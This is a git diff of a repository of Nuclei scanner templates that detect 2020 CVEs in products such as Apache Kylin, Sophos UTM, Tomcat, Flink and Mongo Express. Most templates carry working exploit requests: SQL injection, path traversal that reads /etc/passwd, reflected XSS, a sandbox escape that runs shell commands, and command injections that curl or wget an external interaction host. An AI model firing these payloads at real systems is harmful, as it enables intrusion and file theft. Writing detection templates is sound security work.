b/nuclei-templates/CVE-2020/cve-2020-17506.yaml new file mode 100644 index 0000000000..1e77724ba0 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-17506.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-17506 + +info: + name: Artica Web Proxy 4.30 Authentication Bypass + author: dwisiswant0 + severity: critical + description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php. + tags: cve,cve2020,artica,proxy + reference: https://blog.max0x4141.com/post/artica_proxy/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-17506 + cwe-id: CWE-89 + +requests: + - method: GET + path: + - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;" + redirects: true + max-redirects: 1 + matchers-condition: and + matchers: + - type: word + words: + - "artica-applianc" + - type: status + status: + - 200 + - 301 + - 302 + condition: or + - type: word + name: session + words: + - "PHPSESSID" + part: header + extractors: + - type: kval + kval: + - "PHPSESSID" diff --git a/nuclei-templates/CVE-2020/cve-2020-17519.yaml b/nuclei-templates/CVE-2020/cve-2020-17519.yaml deleted file mode 100644 index 5a3a611a2e..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-17519.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-17519 - -info: - name: Apache Flink directory traversal - author: pdteam - severity: high - description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. - reference: https://github.com/B1anda0/CVE-2020-17519 - tags: cve,cve2020,apache,lfi,flink - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-17519 - cwe-id: CWE-552 - -requests: - - method: GET - path: - - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-18268.yaml b/nuclei-templates/CVE-2020/cve-2020-18268.yaml deleted file mode 100644 index 033c62e51b..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-18268.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2020-18268 - -info: - name: Z-BlogPHP 1.5.2 Open redirect - author: 0x_Akoko - severity: medium - description: Open Redirect in Z-BlogPHP v1.5.2 and earlier allows remote attackers to obtain sensitive information via the "redirect" parameter in the component "zb_system/cmd.php." - reference: - - https://github.com/zblogcn/zblogphp/issues/216 - - https://www.cvedetails.com/cve/CVE-2020-18268 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-18268 - cwe-id: CWE-601 - tags: cve,cve2020,redirect,zblogphp,authenticated - -requests: - - raw: - - | - POST /zb_system/cmd.php?act=verify HTTP/1.1 - Host: {{Hostname}} - Content-Length: 81 - Content-Type: application/x-www-form-urlencoded - Connection: close - - btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0 - - - | - GET /zb_system/cmd.php?atc=login&redirect=http://www.example.com HTTP/2 - Host: {{Hostname}} - - cookie-reuse: true - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2020/cve-2020-1938.yaml b/nuclei-templates/CVE-2020/cve-2020-1938.yaml new file mode 100644 index 0000000000..a698cc3677 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-1938.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-1938 + +info: + name: Ghostcat - Apache Tomcat AJP File Read/Inclusion Vulnerability + author: milo2012 + severity: critical + description: When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. + reference: https://www.tenable.com/blog/cve-2020-1938-ghostcat-apache-tomcat-ajp-file-readinclusion-vulnerability-cnvd-2020-10487 + tags: cve,cve2020,apache,tomcat,lfi,network + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-1938 + cwe-id: CWE-269 + +network: + - inputs: + - data: "{{hex_decode('1234020e02020008485454502f312e310000132f6578616d706c65732f78787878782e6a73700000093132372e302e302e3100ffff00093132372e302e302e31000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a34362e3029204765636b6f2f32303130303130312046697265666f782f34362e30000019557067726164652d496e7365637572652d52657175657374730000013100a001004a746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e3800a00b00093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000012f000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000102f5745422d494e462f7765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000012f00ff')}}" + + host: + - "{{Hostname}}" + - "{{Host}}:8009" + + read-size: 1024 + + matchers: + - type: word + words: + - "See the NOTICE file distributed with" diff --git a/nuclei-templates/CVE-2020/cve-2020-1943.yaml b/nuclei-templates/CVE-2020/cve-2020-1943.yaml new file mode 100644 index 0000000000..8b0c0bebf9 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-1943.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-1943 + +info: + name: Apache OFBiz Reflected XSS + author: pdteam + description: Data sent with contentId to /control/stream is not sanitized, allowing XSS attacks in Apache OFBiz 16.11.01 to 16.11.07. + severity: medium + tags: cve,cve2020,apache,xss,ofbiz + reference: + - https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-1943 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(xss)%3E' + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-1956.yaml b/nuclei-templates/CVE-2020/cve-2020-1956.yaml new file mode 100644 index 0000000000..55b1c1bc92 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-1956.yaml @@ -0,0 +1,60 @@ +id: CVE-2020-1956 + +info: + name: Apache Kylin 3.0.1 - Command Injection Vulnerability + author: iamnoooob,rootxharsh,pdresearch + severity: high + description: | + Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server. + remediation: | + Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor. + reference: + - https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/ + - https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706 + - https://nvd.nist.gov/vuln/detail/CVE-2020-1956 + - http://www.openwall.com/lists/oss-security/2020/07/14/1 + - https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-1956 + cwe-id: CWE-78 + epss-score: 0.97374 + epss-percentile: 0.99898 + cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: apache + product: kylin + shodan-query: http.favicon.hash:-186961397 + tags: cve,cve2020,apache,kylin,rce,oast,kev +variables: + username: "{{username}}:" + password: "{{password}}" + +http: + - raw: + - | + POST /kylin/api/user/authentication HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64('{{username}}:' + '{{password}}')}} + - | + POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - http + + - type: word + part: interactsh_request + words: + - "User-Agent: curl" +# digest: 4b0a00483046022100c8831b7a79e58b4e7a67c451f73d3cfb37a6ef3e8e5c080eadc921d72b3f7337022100c542e5c9d7531e4b3e781bbd0655fda3a0f3e96ccce83923abd4935aa15564ac:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-20988.yaml b/nuclei-templates/CVE-2020/cve-2020-20988.yaml new file mode 100644 index 0000000000..07f450bdb6 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-20988.yaml @@ -0,0 +1,56 @@ +id: CVE-2020-20988 + +info: + name: DomainMOD 4.13.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + reference: + - https://mycvee.blogspot.com/p/xss2.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-20988 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2020-20988 + cwe-id: CWE-79 + epss-score: 0.0009 + epss-percentile: 0.37789 + cpe: cpe:2.3:a:domainmod:domainmod:4.13.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: domainmod + product: domainmod + tags: cve2020,cve,domainmod,xss,authenticated + +http: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /reporting/domains/cost-by-owner.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E + + host-redirects: true + max-redirects: 2 + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(header_2, "text/html")' + - 'contains(body_2, "value=\"\"/>")' + - 'contains(body_2, "DomainMOD")' + condition: and +# digest: 4a0a00473045022100fbb0177d572dab76f291eb8c5192458be9114f6ff475722fe228667a0a17f96602207f0bf6ee4c83004d0e951aaadb9b2b40b09318391f86ca1b5a3629de44e3adfb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-2103.yaml b/nuclei-templates/CVE-2020/cve-2020-2103.yaml deleted file mode 100644 index a8199bbc1a..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-2103.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2020-2103 - -info: - name: Diagnostic page exposed session cookies - severity: medium - author: c-sh0 - description: Jenkins 2.218 and earlier, LTS 2.204.1 and earlier exposed session identifiers on a users detail object in the whoAmI diagnostic page. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-2103 - - https://www.jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 - metadata: - shodan-query: http.favicon.hash:81586312 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.40 - cve-id: CVE-2020-2103 - cwe-id: CWE-200 - tags: cve,cve2020,jenkins - -requests: - - raw: - - | - GET {{BaseURL}}/whoAmI/ HTTP/1.1 - Host: {{Hostname}} - - - | - GET {{BaseURL}}/whoAmI/ HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - req-condition: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - 'text/html' - - 'x-jenkins' - condition: and - case-insensitive: true - - - type: word - part: body_2 - words: - - 'Cookie' - - 'SessionId: null' - condition: and - - extractors: - - type: kval - kval: - - x_jenkins \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-21224.yaml b/nuclei-templates/CVE-2020/cve-2020-21224.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-21224.yaml rename to nuclei-templates/CVE-2020/cve-2020-21224.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-22209.yaml b/nuclei-templates/CVE-2020/cve-2020-22209.yaml new file mode 100644 index 0000000000..0b164d90aa --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-22209.yaml @@ -0,0 +1,47 @@ +id: CVE-2020-22209 + +info: + name: 74cms - ajax_common.php SQL Injection + author: ritikchaddha + severity: critical + description: | + SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying database. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_common.php file. + reference: + - https://github.com/blindkey/cve_like/issues/12 + - https://nvd.nist.gov/vuln/detail/CVE-2020-22209 + - https://github.com/20142995/sectool + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-22209 + cwe-id: CWE-89 + epss-score: 0.15522 + epss-percentile: 0.95775 + cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: 74cms + product: 74cms + shodan-query: http.html:"74cms" + fofa-query: app="74cms" + tags: cve,cve2020,74cms,sqli +variables: + num: "999999999" + +http: + - method: GET + path: + - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27' + + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' +# digest: 4a0a004730450221009e55b332e27a60cf87cccd81422880062f90e44d254777bb1ec7f9140fa0054502205fddccf82cfe56707866b8766e8b74347aef1bf754927ccb40079bb273c5b359:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-24223.yaml b/nuclei-templates/CVE-2020/cve-2020-24223.yaml new file mode 100644 index 0000000000..6c887b906a --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-24223.yaml @@ -0,0 +1,35 @@ +id: CVE-2020-24223 + +info: + name: Mara CMS 7.5 - Reflective Cross-Site Scripting + author: pikpikcu + severity: medium + description: Mara CMS 7.5 allows cross-site scripting (XSS) in contact.php via the theme or pagetheme parameters. + reference: + - https://www.exploit-db.com/exploits/48777 + - https://sourceforge.net/projects/maracms/ # vendor homepage + - https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download # software link + tags: cve,cve2020,mara,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-24223 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - '">' + part: body + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-24391.yaml b/nuclei-templates/CVE-2020/cve-2020-24391.yaml new file mode 100644 index 0000000000..5c4c11a19f --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-24391.yaml @@ -0,0 +1,51 @@ +id: CVE-2020-24391 + +info: + name: Mongo Express Remote Code Execution + author: leovalcante + severity: critical + description: Mongo-express uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to RCE in the context of the node server. + reference: + - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-24391 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-24391 + tags: cve,cve2020,mongo,express,rce,intrusive + + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + POST /checkValid HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++ + + - | + GET /public/css/{{randstr}}.css HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + cookie-reuse: true + matchers-condition: and + matchers: + - type: regex + part: body_3 + regex: + - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" diff --git a/nuclei-templates/CVE-2020/CVE-2020-24571.yaml b/nuclei-templates/CVE-2020/cve-2020-24571.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-24571.yaml rename to nuclei-templates/CVE-2020/cve-2020-24571.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-24579.yaml b/nuclei-templates/CVE-2020/cve-2020-24579.yaml new file mode 100644 index 0000000000..b998f77f13 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-24579.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-24579 + +info: + name: DLINK DSL 2888a RCE + author: pikpikcu + severity: high + description: An issue was discovered on D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality. + reference: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/ + tags: cve,cve2020,dlink,rce + classification: + cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2020-24579 + cwe-id: CWE-287 + +requests: + - raw: + - | # Response:Location: /page/login/login_fail.html + POST / HTTP/1.1 + Host: {{Hostname}} + Cookie: uid=6gPjT2ipmNz + + username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b + + - | # Get /etc/passwd + GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1 + Host: {{Hostname}} + Cookie: uid=6gPjT2ipmNz + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - "nobody:[x*]:65534:65534" + - "root:.*:0:0" + condition: or diff --git a/nuclei-templates/CVE-2020/CVE-2020-24765.yaml b/nuclei-templates/CVE-2020/cve-2020-24765.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-24765.yaml rename to nuclei-templates/CVE-2020/cve-2020-24765.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-24912.yaml b/nuclei-templates/CVE-2020/cve-2020-24912.yaml deleted file mode 100644 index aacac10ef1..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-24912.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2020-24912 - -info: - name: QCube Cross-Site-Scripting - author: pikpikcu - severity: medium - description: A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users. - reference: - - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03 - - https://nvd.nist.gov/vuln/detail/CVE-2020-24912 - - http://seclists.org/fulldisclosure/2021/Mar/30 - tags: cve,cve2020,qcubed,xss - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-24912 - cwe-id: CWE-79 - -requests: - - method: POST - path: - - "{{BaseURL}}/assets/_core/php/profile.php" - - "{{BaseURL}}/assets/php/profile.php" - - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php" - headers: - Content-Type: application/x-www-form-urlencoded - body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K=" - - matchers-condition: and - matchers: - - - type: word - words: - - "" - part: body - - - type: word - words: - - 'Content-Type: text/html' - part: header diff --git a/nuclei-templates/CVE-2020/cve-2020-25223.yaml b/nuclei-templates/CVE-2020/cve-2020-25223.yaml new file mode 100644 index 0000000000..3e1e320fe2 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-25223.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-25223 + +info: + name: Sophos UTM - Preauth RCE + author: gy741 + severity: critical + description: A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11 + reference: + - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223 + tags: cve,cve2020,sophos,rce,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-25223 + +requests: + - raw: + - | + POST /var HTTP/1.1 + Host: {{Hostname}} + Accept: text/javascript, text/html, application/xml, text/xml, */* + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + X-Requested-With: XMLHttpRequest + X-Prototype-Version: 1.5.1.1 + Content-Type: application/json; charset=UTF-8 + Origin: {{BaseURL}} + Connection: close + Referer: {{BaseURL}} + Sec-Fetch-Dest: empty + Sec-Fetch-Mode: cors + Sec-Fetch-Site: same-origin + + {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-2551.yaml b/nuclei-templates/CVE-2020/cve-2020-2551.yaml new file mode 100644 index 0000000000..47f08247f8 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-2551.yaml @@ -0,0 +1,50 @@ +id: CVE-2020-2551 + +info: + name: Unauthenticated Oracle WebLogic Server RCE + author: dwisiswant0 + severity: critical + description: | + This template supports the detection part only. See references. + + Vulnerability in the Oracle WebLogic Server product of + Oracle Fusion Middleware (component: WLS Core Components). + Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, + 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability + allows unauthenticated attacker with network access via IIOP + to compromise Oracle WebLogic Server. + + Successful attacks of this vulnerability can result + in takeover of Oracle WebLogic Server. + + reference: https://github.com/hktalent/CVE-2020-2551 + tags: cve,cve2020,oracle,weblogic,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-2551 + +requests: + - method: GET + path: + - "{{BaseURL}}/console/login/LoginForm.jsp" + + matchers-condition: and + matchers: + - type: word + words: + - "10.3.6.0" + - "12.1.3.0" + - "12.2.1.3" + - "12.2.1.4" + condition: or + part: body + + - type: word + words: + - "WebLogic" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-25540.yaml b/nuclei-templates/CVE-2020/cve-2020-25540.yaml deleted file mode 100644 index 2ff12bd0ef..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-25540.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-25540 -info: - - name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540) - author: geeknik - severity: high - description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter. - reference: https://www.exploit-db.com/exploits/48812 - tags: cve,cve2020,thinkadmin,lfi - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-25540 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2020/CVE-2020-25780.yaml b/nuclei-templates/CVE-2020/cve-2020-25780.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-25780.yaml rename to nuclei-templates/CVE-2020/cve-2020-25780.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-25864.yaml b/nuclei-templates/CVE-2020/cve-2020-25864.yaml new file mode 100644 index 0000000000..c0f536ddbc --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-25864.yaml @@ -0,0 +1,44 @@ +id: CVE-2020-25864 + +info: + name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting + severity: medium + author: c-sh0 + reference: + - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368 + - https://nvd.nist.gov/vuln/detail/CVE-2020-25864 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-25864 + cwe-id: CWE-79 + tags: cve,cve2020,consul,xss + +requests: + - raw: + - | + PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1 + Host: {{Hostname}} + + + + - | + GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - "text/html" + + - type: word + part: body_2 + words: + - "" \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-26413.yaml b/nuclei-templates/CVE-2020/cve-2020-26413.yaml deleted file mode 100644 index 8aeff846b2..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-26413.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2020-26413 - -info: - name: Gitlab User enumeration via Graphql API - author: _0xf4n9x_,pikpikcu - severity: medium - description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible. - reference: - - https://gitlab.com/gitlab-org/gitlab/-/issues/244275 - - 